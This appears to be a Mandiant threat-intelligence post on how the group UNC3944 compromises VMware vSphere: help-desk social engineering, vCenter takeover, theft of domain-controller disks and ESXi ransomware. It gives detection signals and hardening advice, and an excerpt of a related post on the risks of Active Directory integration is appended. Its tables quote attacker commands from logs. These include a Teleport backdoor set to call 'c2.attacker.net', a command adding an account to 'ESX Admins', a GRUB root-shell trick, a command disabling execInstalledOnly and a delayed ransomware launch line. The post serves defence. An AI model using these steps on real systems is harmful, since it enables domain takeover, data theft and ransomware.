Forensic analysis: standard vs. audit log: In the provided scenario, a threat actor logs into an ESXi host, attempts to run malware, and disables the execInstalledOnly security setting. Here is how each log type captures this event:
Standard syslog shell.log analysis: The standard log provides a simple, chronological history of commands typed into the shell.

Figure 4: ESXi standard log output

- Limitations:
  - No login context: It does not show the threat actors source IP address or that the initial SSH login was successful.
  - No outcome: It shows the command ./malware was typed but provides no information on whether it succeeded or failed.
  - Incomplete narrative: It is merely a command history, lacking the essential context needed for a full security investigation.
ESXi audit log analysis: The ESXi audit log provides a rich, structured, and verifiable record of the entire session, from connection to termination, including the outcome of each command.

Figure 5: ESXi audit log output

- Successful login: It explicitly records the successful authentication, including the source IP.
- Failed malware execution: This is the most critical distinction. The audit log shows that the malware execution failed with an exit status of 126.
- Successful security disablement: It then confirms that the command to disable a key security feature was successful.

This side-by-side comparison proves that while standard ESXi logs show a threat actor's intent, the ESXi audit log reveals the actual outcome, providing actionable intelligence and a definitive forensic trail. A comprehensive logging strategy for a vSphere environment requires the collection and analysis of three distinct yet complementary data sources. When forwarded to a central syslog server, vCenter Server events, ESXi host audit records, and standard ESXi operational logs provide a multilayered view of the environment's security, administrative changes, and operational health.

Characteristic

vCenter Server Events

ESXi Audit Logs

ESXi Standard Logs

Scope

Virtual Center, ESXI

ESXi

Enabled by Default

Yes

Format

Structured Objects (eventTypeId)

Verbose, Structured Audit Entries

Unstructured/Semi-structured Text

Type

Administrative, Management, Audit

Security Audit, Kernel-level Actions

Management, System-Level State

Primary Storage

VCSA Internal Database

Local Filesystem (audit.log)

Local Filesystem (/var/log/)

Primary Use Case

Central Auditing, Full Cluster Management, Forensics

Direct Host Forensics, Compliance

Deep Troubleshooting, Diagnostics

Table 1: Comparison of ESXi Logs and vCenter Events

Anatomy of an Attack: The Playbook

UNC3944’s attack unfolds across five distinct phases, moving methodically from a low-level foothold to complete hypervisor control.

Figure 6: Typical UNC3944 attack chain

Phase 1: Initial Compromise, Recon, and Escalation

This initial phase hinges on exploiting the human element.

The tactic: The threat actor initiates contact by calling the IT help desk, impersonating a regular employee. Using readily available personal information from previous data breaches and employing persuasive or intimidating social engineering techniques, they build rapport and convince an agent to reset the employee's Active Directory password. Once they have this initial foothold, they begin a two-pronged internal reconnaissance mission:
- Path A (information stores): They use their new access to scan internal SharePoint sites, network drives, and wikis. They hunt for IT documentation, support guides, org charts, and project plans that reveal high-value targets. This includes not only the names of individual Domain or vSphere administrators, but also the discovery of powerful, clearly named Active Directory security groups like "vSphere Admins" or "ESX Admins" that grant administrative rights over the virtual environment.
- Path B (secrets stores): Simultaneously, they scan for access to password managers like HashiCorp Vault or other Privileged Access Management (PAM) solutions. If they find one with weak access controls, they will attempt to enumerate it for credentials.

Armed with the name of a specific, high-value administrator, they make additional calls to the help desk. This time, they impersonate the privileged user and request a password reset, allowing them to seize control of a privileged account.

Why it's effective: This two-step process bypasses the need for technical hacking like Kerberoasting for the initial escalation. The core vulnerability is a help desk process that lacks robust, non-transferable identity verification for password resets. The threat actor is more confident and informed on the second call, making their impersonation much more likely to succeed.
Key detection signals:
- [LOGS] Monitor for command-line and process execution: Implement robust command-line logging (e.g., via Audit Process Creation, Sysmon Event ID 1 or EDR). Create alerts for suspicious remote process execution, such as wsmprovhost.exe (WinRM) launching native tools like net.exe to query or modify sensitive groups (e.g., net group "ESX Admins" /add).
- [LOGS] Monitor for group membership changes: Create high-priority alerts for AD Event ID 4728 (A member was added to a security-enabled global group) or 4732 (local group) for any changes to groups named "vSphere Admins," "ESX Admins," or similar.
- [LOGS] Correlate AD password resets with help desk activity: Correlate AD Event ID 4724 (Password Reset) and the subsequent addition of a new multi-factor authentication (MFA) device with help desk ticket logs and call records.
- [BEHAVIOR] Alert on anomalous file access: Alert on a single user accessing an unusually high volume of disparate files or SharePoint sites, which is a strong indicator of the reconnaissance seen during UNC3944 activity.
- [CRITICAL BEHAVIOR] Monitor Tier 0 account activity: Any password reset on a Tier 0 account (Domain Admin, Enterprise Admin, vSphere) must be treated as a critical incident until proven otherwise.
Critical hardening and mitigation:
- [CRITICAL] Prohibit phone-based resets for privileged accounts: For all Tier 0 accounts, enforce a strict "no password resets over the phone" policy. These actions must require an in-person, multipart, or high-assurance identity verification process.
- Protect and monitor privileged AD groups: Treat these groups as Tier 0 assets: tightly control who can modify their membership and implement the high-fidelity alerting for any membership change (AD Event ID 4728/4732). This is critical as threat actors will use native tools like net.exe, often via remote protocols like WinRM, to perform this manipulation. Avoid using obvious, non-obfuscated names like "vSphere Admins" for security groups that grant high-level privileges
- Harden information stores: Implement data loss prevention (DLP) and data classification to identify and lock down sensitive IT documentation that could reveal high-value targets. Treat secrets vaults as Tier 0 assets with strict, least-privilege access policies.
- Restrict or monitor remote management tools: Limit the use of remote management protocols like WinRM and vSphere management APIs to authorized administrative subnets and dedicated PAWs. Log all remote commands for review and anomaly detection.

Table 2 displays threat actors actions in support of Active Directory escalation along with process and command-line data that an organization may use to detect this activity.

Process Name

Command Line

Tactic

Threat Actor's Goal

explorer.EXE

"C:\Program Files...\WORDPAD.EXE" "\10.100.20.55\c$\Users\j.doe...\ACME Power Division\Documents\Procedure for Deploying ESXi...docx"

Reconnaissance

Threat actor, using a compromised user account, opens IT procedure documents to understand the vSphere environment and find target names.

explorer.EXE

"C:...\NOTEPAD.EXE" \prd-mgmt-srv02.acme-corp.local\c$\Users\adm-svc-vcenter\Desktop\ESX HOST CLUSTER ISSUE.txt

Reconnaissance

Threat actor continues recon, opening files on a management server that likely contain names of systems, groups, or administrators.

wsmprovhost.exe

"C:...\net.exe" group "ESX Admins"

Enumeration

Having found the group name, the threat actors use WinRM to remotely query the membership of the "ESX Admins" group to identify targets.

wsmprovhost.exe

"C:...\net.exe" group "ESX Admins" ACME-CORP\temp-adm-bkdr /add

Manipulation

This is the key attack. The threat actor adds their controlled account (temp-adm-bkdr) to the "ESX Admins" group, granting it full admin rights to vSphere.

wsmprovhost.exe

"C:...\net.exe" group "ESX Admins"

Verification

The threat actor queries the group again immediately after the modification to confirm that their malicious user was successfully added.

Table 2: Active Directory user escalation

Phase 2: The Pivot to vCenter — The Control Plane Compromise

With mapped Active Directory to vSphere credentials, the threat actors turn their sights on the heart of the virtual environment.

The tactic: They use the compromised credentials to log into the vSphere vCenter Server GUI. From there, they leverage their vCenter Admin rights to gain what amounts to "virtual physical access" to the VCSA itself. They open a remote console, reboot the appliance, and edit the GRUB bootloader to start with a root shell (init=/bin/bash), giving them passwordless root access. They then change the root password to enable SSH access upon reboot. To maintain their foothold, they upload and execute teleport, a legitimate open source remote access tool, to create a persistent and encrypted reverse shell (C2 channel) that bypasses most firewall egress rules.
Why it's effective: vCenter’s delegation of trust in Active Directory often via LDAP(S) means the initial login isn't protected by MFA. The VCSA takeover abuses a fundamental privilege of a virtual environment administrator—the ability to interact with a VM's console pre-boot.
Key detection signals:
- [LOGS] Monitor vCenter events for logins (com.vSphere.vc.UserLoginSessionLoginSuccessEvent) (com.vSphere.vc.UserLoginSessionLoginFailureEvent) and reboot (com.vSphere.vc.appliance.ApplianceRebootEvent).
- [LOGS] Monitor for log entries with prefixes like "SSH" in remote VCSA syslog to detect dropped SSH attempts or other blocked traffic via iptables.
- [LOGS] On the VCSA, monitor journald and implement VCSA remote forwarding of logs to a SIEM to detect unauthorized shell access and the enablement of the SSH and Shell service.

Figure 7: Remote syslog events for enablement of VCSA SSH service

- [NETWORK] Use Network Flow Logs to spot anomalous outbound connections from the VCSA's IP address.
- [NETWORK] Unusual DNS Requests from vCenter - This detection identifies when a vSphere vCenter server makes DNS requests for domains that are not on the explicit allow list of known, trusted sites (e.g., vSphere.com, ntp.org, or internal domains).
- [LOGS] Use of cURL or Wget to download tools: This detection can identify the use of command-line utilities like cURL or Wget on a critical server (such as a vCenter, Domain Controller, or database server) to download a file from an external URL.
Critical hardening and mitigation:
- [CRITICAL] Enable the VCSA remote logging: Implement remote syslog forwarding on the VCSA appliance.
- [CRITICAL] Enforce phishing-resistant MFA on vCenter: Implement a phishing-resistant MFA solution, such as FIDO2/WebAuthn, for all vCenter logins by federating authentication with a supported identity provider. This is a critical control that directly neutralizes the threat of credential theft, rendering phishing attacks against vCenter users ineffective.
- [CRITICAL] Enforce least privilege in vCenter: Strictly limit the use of the Administrator role, reserving it for dedicated "break glass" accounts only such as administrator@vsphere.local. Instead, create granular, custom roles for specific job functions to ensure users and groups only have the minimum permissions necessary, breaking the link between a compromised AD account and a full vCenter takeover.
- [CRITICAL] Use the VCSA firewall and block shell access: Block all unnecessary outbound internet traffic from the VCSA using egress filtering and its built-in firewall. Disable the SSH and BASH shells by default. This thwarts the teleport backdoor and makes the VCSA takeover significantly more difficult.
- [CRITICAL] Configure the VCSA's underlying iptables firewall: Enforce a Zero Trust allow-list for all management interfaces (443, 5480, 22) and enable logging for all denied connections. The default VCSA GUI firewall can be disabled by an attacker with a compromised web session and, crucially, it does not log blocked connection attempts. By configuring iptables at the OS level, the rules become immune to GUI tampering, and every denied connection is logged and forwarded to your SIEM.

Table 3 displays threat actor actions in support of Teleport Installation along with key evidence that an organization may use to detect this activity.

Tactic

Key Evidence

Threat Actor's Goal

Execute Script & Assert Privileges

sudo: root : ... COMMAND=/usr/bin/bash -c '#!/bin/bash...'

assert_running_as_root()

The threat actor executes the installer via sudo. The script's first action is to confirm it has the root permissions required for system-wide installation.

Define Installation Parameters

SCRIPT_NAME="teleport-installer"

TELEPORT_BINARY_DIR="/usr/local/bin"

TELEPORT_CONFIG_PATH="/etc/teleport.yaml"

The script defines its core parameters, including where the backdoor's binaries and configuration files will be placed on the compromised VCSA's filesystem.

Hardcode C2 & Authentication Details

TARGET_HOSTNAME='c2.attacker.net'

JOIN_TOKEN='[REDACTED_JOIN_TOKEN]'

CA_PIN_HASHES='sha256:[REDACTED_CA_PIN_HASH]

The threat actor embeds the unique, pre-generated credentials required for the agent to connect and authenticate to their external command-and-control (C2) server

Detect OS & Select Package Type

if [[ ${f} != "tarball"
&& ${f} != "deb" ...

The script contains logic to detect the underlying operating system (e.g., Debian, RHEL, or a generic Linux like the VCSA) to ensure it uses the correct installation package (.deb, .rpm, or .tar.gz).

Download & Install Binaries

Script logic proceeds to download the 'tarball' package and unpacks binaries to /usr/local/bin

Based on the OS detection, the script would then download the appropriate Teleport package from an threat actor-controlled source and install the binaries (teleport, tsh, tctl) into the predefined directory.

Establish Persistence

SYSTEMD_UNIT_PATH="/lib/systemd/
system/teleport.service"

[Implied Action] Script creates and enables a systemd unit file

To ensure the backdoor survives reboots, the script creates a systemd service file using the defined path. It then enables and starts the teleport service, which initiates the final, persistent connection to the C2 server.

Table 3: VCSA Teleport installation

Phase 3: The Hypervisor Heist — Offline Credential Theft and Exfiltration

This is where the threat actor leverages their vSphere control to operate beneath the notice of in-guest security and EDR.

The tactic: From vCenter, the threat actor enables SSH on the ESXi hosts and reset their root passwords. They then execute an offline attack by identifying a Domain Controller VM, powering it off, and detaching its virtual disk (.vmdk). This disk is then attached as a secondary drive to a forgotten or "orphaned" VM they control. From this unmonitored machine, they copy the NTDS.dit Active Directory database. The process is then reversed, and the DC is powered back on as if nothing happened. The stolen data is then moved in a two-stage process: first, an internal transfer from the orphaned VM to the compromised VCSA using sftp, and second, an external exfiltration from the VCSA through the already-established teleport C2 channel to a threat actor controlled cloud service.
Why it's effective: This entire operation occurs at the hypervisor layer, making it invisible to any EDR or security agent running inside the Domain Controller's operating system. The use of the VCSA as a data funnel bypasses any network segmentation rules.

Table 4 displays threat actor actions in support of VM data exfiltration along with key evidence that an organization may use to detect this activity.

Tactic

Evidence Source

Key Evidence

Threat Actor's Goal

Identify Target VM

Browser History

URL: https://vcsa-prod-01.acme.local/ui/...

Page Title: vSphere - ACME-DC01 - Datastores

The threat actor, logged in as a compromised user , browses the vSphere UI to locate the virtual machine for the target Domain Controller (ACME-DC01).

Identify Staging VM

Browser History

URL: https://vcsa-prod-01.acme.local/ui/...

Page Title: vSphere - OLD-APPSRV-01 - Networks

The threat actor identifies a seemingly abandoned server (OLD-APPSRV-01) to use as their staging VM, onto which they will mount the DC's disk.

Execute Disk Swap

vCenter Event Log

Event: [vim.event.VmReconfiguredEvent]

User: ACME\threat.actor

Action: Reconfigured OLD-APPSRV-01 on esxi-prod-02.acme.local

The threat actor triggers a VM reconfiguration on the staging VM. This is the start of the disk attachment process.

Confirm Disk Attachment

vCenter Event Log

Device Change: ...backing = (fileName = 'ds:///vmfs/volumes/.../ACME-DC01/ACME-DC01_4.vmdk' ...)

The log shows a disk device being modified on the staging VM. The source file path clearly shows that the virtual disk (.vmdk) belonging to the Domain Controller (ACME-DC01) is being attached.

Confirm Host Execution

ESXi Host Log (hostd.log)

Task: VpxaTask: VpxaReconfigVM /vmfs/volumes/.../OLD-APPSRV-01/OLD-APPSRV-01.vmx

Simultaneously, the ESXi host logs the ReconfigVM_Task being executed against the staging VM, confirming the action was carried out at the hypervisor level.

Table 4: Virtual machine data exfiltration

Key detection signals:
- [BEHAVIOR] Monitor for reconnaissance in the vSphere UI: Before the attack, the threat actor browses the vSphere client to identify their target (e.g., a VM named ACME-DC01) and their staging VM (OLD-APPSRV-01). If UI access logs or browser histories from admin workstations are available, correlating suspicious browsing patterns with a subsequent reconfiguration event can provide very early warning.
- [LOGS] Scrutinize: As shown in this anonymised real-world example, a vim.event.VmReconfiguredEvent for the staging VM (e.g., OLD-APPSRV-01) will contain the file path of the target VM's disk in its configuration details (e.g., backing = (fileName = '.../ACME-DC01/ACME-DC01_4.vmdk' ...)). Create high-priority alerts that parse this event data to detect when a disk from a critical asset is attached to any non-standard machine.
- [LOGS] Correlate the full event sequence: A high-fidelity alert can be built by correlating the full sequence of vCenter events on a critical asset: VmPoweredOffEvent, followed by the VmReconfiguredEvent previously detailed, and eventually a VmPoweredOnEvent combined with a restart initiated by vmtoolsd.exe, along with supporting Windows guest events like 6006 (shutdown) and 6005 (startup).
- [BEHAVIOR] Create CRITICAL alerts for any power-on or reconfiguration event on VMs located in a "Decommissioned" or "Orphaned" folder as these are prime candidates for the threat actors staging VM.
- [LOGS] Monitor ESXi host changes: Alert on SSH service start via vCenter events (vim.event.HostServiceStartedEvent), firewall configuration changes (vim.event.HostFirewallInfoChangedEvent), and direct root shell access logs on the ESXi hosts themselves.
Critical hardening and mitigation:
- [CRITICAL] Use vSphere VM encryption: Encrypt all Tier 0 virtualized assets. This is the definitive technical block for the offline "Disk Swap" attack as the stolen .vmdk file would be unreadable.
- [CRITICAL] Implement a strict VM decommissioning process: Formally decommission old VMs by deleting their disks. Do not leave powered-off, "orphaned" VMs on your datastores as these are the ideal workbenches for threat actors.
- [CRITICAL] Harden ESXi accounts: Disable the default ESXi root account in favor of a named "break glass" account with a highly complex password. On ESXi 8.0+, run esxcli system account set -i vpxuser -s false to prevent a compromised vCenter user from changing ESXi root passwords.
- [CRITICAL] Enable ESXi remote audit logging: Enable remote ESXi audit logging (vpxa.log, hostd.log, audit_records) to a SIEM to provide verbose, centralized details of security-focused events on the hosts themselves.

Figure 8: Remote syslog events for SSH access to ESXi

Phase 4: Backup Sabotage — Removing the Safety Net

Before deploying ransomware, the actor ensures their target cannot recover.

The tactic: Leveraging their full control over Active Directory, the threat actor targets the backup infrastructure (e.g., a virtualized backup server). They either reuse the compromised Domain Admin credentials to log in via RDP or, more stealthily, add a user they control to the "Veeam Administrators" security group in AD. Once in, they delete all backup jobs, snapshots, and repositories.
Why it's effective: This works due to a lack of administrative tiering (where the same powerful accounts manage both virtualization and backups) and insufficient monitoring of changes to critical AD security groups.
Key detection signals:
- [Detecting Path A] Monitor for interactive logons (Windows Event ID 4624) on the backup server by high-privilege accounts.
- [Detecting Path B] Triggers a CRITICAL alert from AD logs for Event ID 4728 ("A member was added to a security-enabled global group") for any change to the "Veeam Administrators" group
- [LOGS] Monitor the backup application's own audit logs for mass deletion events.
Critical hardening and mitigation:
- [CRITICAL] Isolate backup infrastructure: The Veeam server and its repositories must be in a separate MFA protected, highly restricted security domain or use dedicated, non-AD-joined credentials. This severs the AD trust relationship the threat actor exploits.
- [CRITICAL] Utilize immutable repositories: This is the technical backstop against backup deletion. It makes the backup data undeletable for a set period, even if a threat actor gains full administrative access to the backup console.

Phase 5: Encryption — Ransomware from the Hypervisor

With the target blinded and their safety net gone, the final stage commences.

The tactic: The threat actor uses their SSH access to the ESXi hosts to push their custom ransomware binary via SCP/SFTP into a writable directory like /tmp. They then execute a script that uses the native ESXi command-line tool, vim-cmd, to forcibly power off every VM on the host. Finally, they launch the ransomware binary (often with nohup to ensure it continues after they log out), which scans the datastores and encrypts all VM files (.vmdk, .vmx, etc.).

Table 5 displays threat actor actions in support of ESXi ransomware execution along with key evidence that an organization may use to detect this activity.

Tactic

Source Log File

Key Evidence

Threat Actor's Goal

SSH Login

/var/log/auth.log

SSH session was opened for 'root@10.10.10.5'

The Threat Actor logs in as root to the compromised ESXi host via an interactive SSH session.

Prepare Payload

/var/log/shell.log

chmod 0777 encrypt.out

cp encrypt.out encrypt_.out

The Threat Actor’s commands to make the ransomware payload executable are captured by the ESXi shell log.

Create Exclusion List

/var/log/shell.log

echo VCSA-01-PROD >> list.txt

echo DC-01-PASSIVE >> list.txt

The shell log records the creation of the list.txt file, revealing the threat actors intent to selectively encrypt systems.

Execute Ransomware

/var/log/shell.log

nohup sh -c 'sleep 14400 && /encrypt_.out -pass [REDACTED_ENCRYPTION_KEY] -skip_vms /list.txt' &

The exact command to launch the time-delayed ransomware, including the key and exclusion list, is logged. The nohup command ensures it runs after they log out.

Clean Up & Exit

/var/log/shell.log

ls nohup.out

exit

The threat actors final commands and session termination are recorded before they exit, leaving the payload to run.

Table 5: ESXi ransomware execution

Why it's effective: Root access on the ESXi shell is the highest level privilege in a virtual environment. By encrypting at the hypervisor level, they bypass all in-guest security and compromise servers with a single action.
Key detection signals:
- [NETWORK] Monitor Network Flow Logs for large file transfers to and from ESXi hosts over SSH/SCP.
- [BEHAVIOR] A SIEM alert for a high volume of VM power-off commands originating from a single ESXi host is a high-fidelity indicator of an ongoing attack.
- [LOGS] Monitor ESXi host logs for the execution of esxcli system settings kernel set -s execInstalledOnly -v FALSE (a threat actor attempting to disable a key defense) and mass vmsvc/power.off commands. Since this setting only applies after a reboot, correlate this alert with a subsequent host reboot within a short time window.
Critical hardening and mitigation:
- [CRITICAL] Enable vSphere lockdown mode: This is a primary prevention for this phase as it blocks the interactive SSH access needed to push and execute the payload.
- [CRITICAL] Enforce execInstalledOnly execution policy: This ESXi kernel setting is the definitive technical prevention. It blocks any unsigned binary from running, rendering the threat actor's custom ransomware execution attempt to failure. Enable the hardware based TPM 2.0 chip with Secure Boot to lock this setting so it cannot be disabled.

The Three-Pillar Defense: A Fortified Strategy Pillar 1: Proactive Hardening (Your Most Reliable Defense)

Architect for centralized access: Do not join ESXi hosts directly to Active Directory. Manage all host access exclusively through vCenter roles and permissions. This drastically reduces the attack surface.
Enable vSphere lockdown mode: This is a critical control that restricts ESXi management, blocking direct shell access via SSH and preventing changes from being made outside of vCenter.
Enforce execInstalledOnly: This powerful ESXi kernel setting prevents the execution of any binary that wasn't installed as part of a signed, packaged vSphere Installation Bundle (VIB). It would have directly blocked the threat actor's custom ransomware from running.
Use vSphere VM encryption: Encrypt your Tier 0 virtualized assets (DCs, PKI, etc.). This is the definitive technical block for the offline disk-swap attack, rendering any stolen disk files unreadable.
Practice strict infrastructure hygiene: Don't just power off old VMs. Implement a strict decommissioning process that deletes their disks from the datastore or moves them to segregated archival storage to eliminate potential "staging" machines.
Posture management: It is vital to implement continuous vSphere posture Management (CPM) because hardening is not a one-time task, but a security state that must be constantly maintained against "configuration drift." The UNC3944 playbook fundamentally relies on creating these policy deviations—such as enabling SSH or altering firewall rules. This can be achieved either through dedicated Hybrid Cloud Security Posture Management (CSPM) tools, such as the vSphere Aria Operations Compliance Pack, Wiz, or by developing custom in-house scripts that leverage the vSphere API via PowerShell/PowerCLI to regularly audit your environment.
Harden the help desk: For privileged accounts, mandate that MFA enrollment or password resets require an in-person, multipart, or high-assurance multi-factor verification process.

Pillar 2: Identity and Architectural Integrity (Breaking the Attack Chain)

Enforce phishing-resistant MFA everywhere: This must be applied to VPN, vCenter logins, and all privileged AD accounts. Use hardened PAWs with exclusive, firewalled access to the virtual center.
Isolate critical identity infrastructure: Run your Tier 0 assets (Domain Controllers, PAM, Veeam etc) in a dedicated, highly-secured "identity cluster" with its own stringent access policies, segregated from general-purpose workloads.
Avoid authentication loops: A critical architectural flaw is hosting identity providers (AD) recovery systems (Veeam) or privileged access management (PAM) on the very virtualization platform they secure and authenticate. A compromise of the underlying ESXi hosts results in a correlated failure of both the dependent services and the means to restore them, a scenario that significantly complicates or prevents disaster recovery.
Consider alternate identity providers (IdPs): To break the "AD-to-everything" chain, consider using a separate, cloud-native IdP like Azure Entra ID for authenticating to infrastructure.

Pillar 3: Advanced Detection and Recovery (Your Safety Net)

Build detections after hardening: The most effective alerts are those that detect the attempted manipulation of the hardening controls you've put in place. Harden first, then build your detection logic.
Centralize and monitor key logs: Forward all logs from AD, vCenter, ESXi, networking infrastructure, firewalls, and backups to a SIEM. Correlate logs from these disparate sources to create high-fidelity detection scenarios that can spot the threat actors' methodical movements.
Focus on high-fidelity alerts: Prioritize alerting on events in phases 1-3. Detecting the enablement of SSH on a host, a VCSA takeover, or membership changes to your "Veeam Admins" group will enable you to act before data exfiltration and ransomware deployment.
Architect for survival: Assume the worst-case scenario. Your immutable and air-gapped backups are your last line of defense. They must be isolated from your production AD and inaccessible to a compromised administrator. Test your recovery plan against this specific threat model to ensure it works.

Conclusion: The Defender’s Mandate — Harden and Alert

UNC3944's playbook requires a fundamental shift in defensive strategy, moving from EDR-based threat hunting to proactive, infrastructure-centric defense. This threat differs from traditional Windows ransomware in two ways: speed and stealth. While traditional actors may have a dwell time of days or even weeks for reconnaissance, UNC3944 operates with extreme velocity; the entire attack chain from initial access to data exfiltration and final ransomware deployment can occur in mere hours. This combination of speed and minimal forensic evidence makes it essential to not just identify but to immediately intercept suspicious behavioral patterns before they can escalate into a full-blown compromise.

This living-off-the-land (LotL) approach is so effective because the Virtual Center appliance and ESXi hypervisor cannot run traditional EDR agents, leaving a significant visibility gap at the virtualization layer. Consequently, sophisticated detection engineering within your SIEM becomes the primary and most essential method for active defense.

This reality presents the most vital key for defenders: the ability to detect and act on early alerting is paramount. An alert generated during the final ransomware execution is merely a notification of a successful takeover. In contrast, an alert that triggers when the threat actor first compromises a help desk account or accesses Virtual Center from an unusual location is an actionable starting point for an investigation—a crucial window of opportunity to evict the threat before they achieve complete administrative control.

A resilient defense, therefore, cannot rely on sifting through a sea of broad, noisy alerts. This reactive approach is particularly ineffective when, as is often the case, many vSphere environments are built upon a foundation of insecure defaults—such as overly permissive roles or enabled SSH—and suffer from a lack of centralized logging visibility from ESXi hosts and vCenter. Without the proper context from these systems, a security team is left blind to the threat actors' methodical, LotL movements until it is far too late.

Instead, the strategy must be twofold. First, it requires proactive, defense-in-depth technical hardening to systematically correct these foundational gaps and reduce the attack surface. Second, this must be complemented by a deep analysis of the threat actor's tactics, techniques, and procedures (TTPs) to build the high-fidelity correlation rules and logging infrastructure needed to spot their earliest movements. This means moving beyond single-event alerts and creating rules that connect the dots between a help desk ticket, a password reset in Active Directory, and a subsequent anomalous login to vCenter.

These two strategies are symbiotic, creating a system where defense enables detection. Robust hardening is not just a barrier, it also creates friction for the threat actor, forcing them to attempt actions that are inherently suspicious. For example, when Lockdown Mode is enabled (hardening), a threat actor's attempt to open an SSH session to an ESXi host will fail, but it will also generate a specific, high-priority event. The control itself creates the clean signal that a properly configured SIEM is built to catch.

For any organization with a critical dependency on vSphere, this is not a theoretical exercise. What makes this threat exceptionally dangerous is its ability to render entire security strategies irrelevant. It circumvents traditional tiering models by attacking the underlying hypervisor that hosts all of your virtualized Tier 0 assets—including Domain Controllers, Certificate Authorities, and PAM solutions—rendering the logical separation of tiering completely ineffective. Simultaneously, By manipulating virtual disks while the VMs are offline, it subverts in-guest security solutions—such as EDR, antivirus (AV), DLP, and host-based intrusion prevention systems (HIPS)—as their agents cannot monitor for direct ESXi level changes.

The threat is immediate, and the attack chain is proven. Mandiant has observed that the successful hypervisor-level tactics leveraged by groups like UNC3944 are no longer exclusive; these same TTPs are now being actively adopted by other ransomware groups. This proliferation turns a specialized threat into a mainstream attack vector, making the time to act now.

Mandiant

Beyond Convenience: Exposing the Risks of VMware vSphere Active Directory Integration

Mandiant Threat Intelligence

4 weeks 1 day ago

Written by: Stuart Carrera, Brian Meyer

Executive Summary

Broadcom's VMware vSphere product continues to be a top choice for private cloud virtualization, underpinning important systems and critical infrastructure. Far from losing its appeal, organizations still rely heavily on vSphere for its stability and control. Mandiant is also observing a clear trend where critical workloads are moving back from public cloud services to these on-premises vSphere environments, often driven by strategies that balance innovation with stability and the desire for more direct operational oversight.

The common practice of directly integrating vSphere with Microsoft Active Directory (AD), while simplifying administration tasks, creates an attack path frequently underestimated due to a misunderstanding of the inherent risks presented today. This configuration extends the AD attack surface directly to the hypervisor. From a threat actor's perspective, this integration constitutes a high-value opportunity. It transforms the relatively common task of compromising AD credentials into a potential high value scenario, granting access to the underlying infrastructure hosting the servers and in turn allowing them to gain privileged administrative control over ESXi hosts and vCenter and ultimately seize complete command of the virtualized infrastructure.

Ransomware aimed at vSphere infrastructure, including both ESXi hosts and vCenter Server, poses a uniquely severe risk due to its capacity for immediate and widespread infrastructure paralysis. With the end of general support for vSphere 7.x approaching in October 2025—the version Mandiant has observed to be running by a large majority of organizations—the threat of targeted ransomware has become urgent. As recovering from such an attack requires substantial time and resources, proactive defense is paramount. It is therefore critical for organizations to understand the specific threats against these core components and implement effective, unified countermeasures to prevent their compromise, especially before support deadlines introduce additional risk.

This blog post will logically break down the inherent risks and misunderstandings with integrating vSphere with Microsoft AD. Using Mandiant's deep experience of both vSphere ransomware incidents and proactive assessments of both AD and vSphere, we will provide a directive for understanding risk and increasing security posture aligned with today's threats in respect of enterprise vSphere management.

After learning about the risks, our next blog post contains actionable guidance on how to defend your VMware vSphere estate. Additionally, register for our upcoming webinar to learn these strategies directly from Mandiant experts.

vSphere Infrastructure Overview

To understand the security risks in a vSphere environment, it's essential to understand its architecture. A compromise at one layer can have cascading effects throughout the entire virtualized environment.

At its core, vSphere is a platform that pools physical datacenter resources like compute, storage, and networking into a flexible layer of virtual infrastructure, a task primarily accomplished by two key components, ESXi and vCenter, as shown in the following diagram:

ESXi (The Hypervisor): This is the foundational layer of vSphere. ESXi is a bare metal hypervisor, meaning it installs directly onto the physical server hardware without requiring an underlying operating system. Its core job is to partition that server into multiple, isolated virtual machines (VMs). Each VM, which is essentially just a collection of files, runs its own operating system and applications, acting like an independent computer. The hypervisor's minimal design is intentional, aiming to reduce its own attack surface while efficiently managing the server's resources.
vCenter (The Control Plane): If ESXi hosts are the workers, the vCenter Server is the "brain" or control plane for the entire environment. It provides a single web-based interface to manage all connected ESXi hosts and the VMs they run. ESXi hosts are registered with vCenter, which uses agents on each host to manage operations and enable advanced features like automatic workload balancing and high availability for failover protection.

Integrating vSphere with AD creates a flexible environment that simplifies identity management, yet it introduces profound security risks. This direct link can turn an AD compromise into a significant threat against the entire vSphere deployment.

An Outdated Blueprint: Re-examining Foundational vSphere Security

Virtualization has been a cornerstone of enterprise IT for nearly two decades, solving server sprawl and delivering transformative operational agility. Alongside it, AD remains a pillar of enterprise IT. This has led to a long-standing directive that all enterprise technology, including critical infrastructure like vSphere, must integrate with AD for centralized authentication. The result is a risky dependency—the security of foundational infrastructure is now directly tied to the security of AD, meaning any compromise within AD becomes a direct threat to the entire virtualization environment.

In the past, vSphere security was often approached in distinct, siloed layers. Perimeter security was stringent, and threats were typically viewed as internal, such as configuration errors, rather than from external threat actors. This, combined with the newfound ease of image-based backups, often led to security efforts becoming primarily focused on robust business continuity and disaster recovery capabilities over proactive defense. As environments expanded, managing local user accounts created significant administrative overhead, so support for AD integration was introduced for centralized identity management.

Mandiant’s observation, based on extensive incident response engagements, is that many vSphere environments today still operate on this foundational architecture, carrying forward security assumptions that haven't kept pace with the evolving threat landscape. As Mandiant’s assessments frequently identify, these architectures often prioritize functionality and stability over a security design grounded in today's threats.

So what’s changed? Reliance solely on perimeter defenses is an outdated security strategy. The modern security boundary focuses on the user and device, typically protected by agent-based EDR solutions. But here lies the critical gap: The ESXi hypervisor, a purpose-built appliance, which, contrary to what many people believe, is not a standard Linux distribution. This specialized architecture inherently prevents the installation of external software, including security tools like EDR agents. vSphere documentation explicitly addresses this, stating:

“The ESXi hypervisor is a specialized, purpose-built solution, similar to a network router’s firmware. While this approach has several advantages, it also makes ESXi unable to run “off-the-shelf” software, including security tools, designed for general-purpose operating systems as the ESXi runtime environment is dissimilar to other operating systems.

The use of Endpoint Detection and Response (EDR) and other security practices inside third-party guest operating systems is supported and recommended."

Source: Broadcom

Consequently, most organizations focus their security efforts and EDR deployment inside the guest operating systems. This leaves the underlying ESXi hypervisor—the foundation of the entire virtualization environment—as a significant blind spot for security teams.

The vSphere Threat Landscape

The security gap at the hypervisor layer, which we detailed in the previous section, has not gone unnoticed by threat actors. As security for Windows-based operating systems matured with advanced EDR solutions, threat actors have pivoted to a softer, higher-value target—the ESXi hypervisor itself.

This pivot is amplified by common operational realities. The critical role of ESXi hosts often leads to a hesitancy to apply patches promptly for fear of disruption. Many organizations face a rapidly closing window to mitigate risks; however, threat actors aren't just relying on unpatched vulnerabilities. They frequently leverage compromised credentials, a lack of MFA, and simple misconfigurations to gain access.

The Rise of Hypervisor-Aware Ransomware

Ransomware targeting vSphere is fundamentally more devastating than its traditional Windows counterpart. Instead of encrypting files on servers or end user computers, these attacks aim to cripple the entire infrastructure by encrypting virtual disk files (VMDKs), disabling dozens of VMs at once.

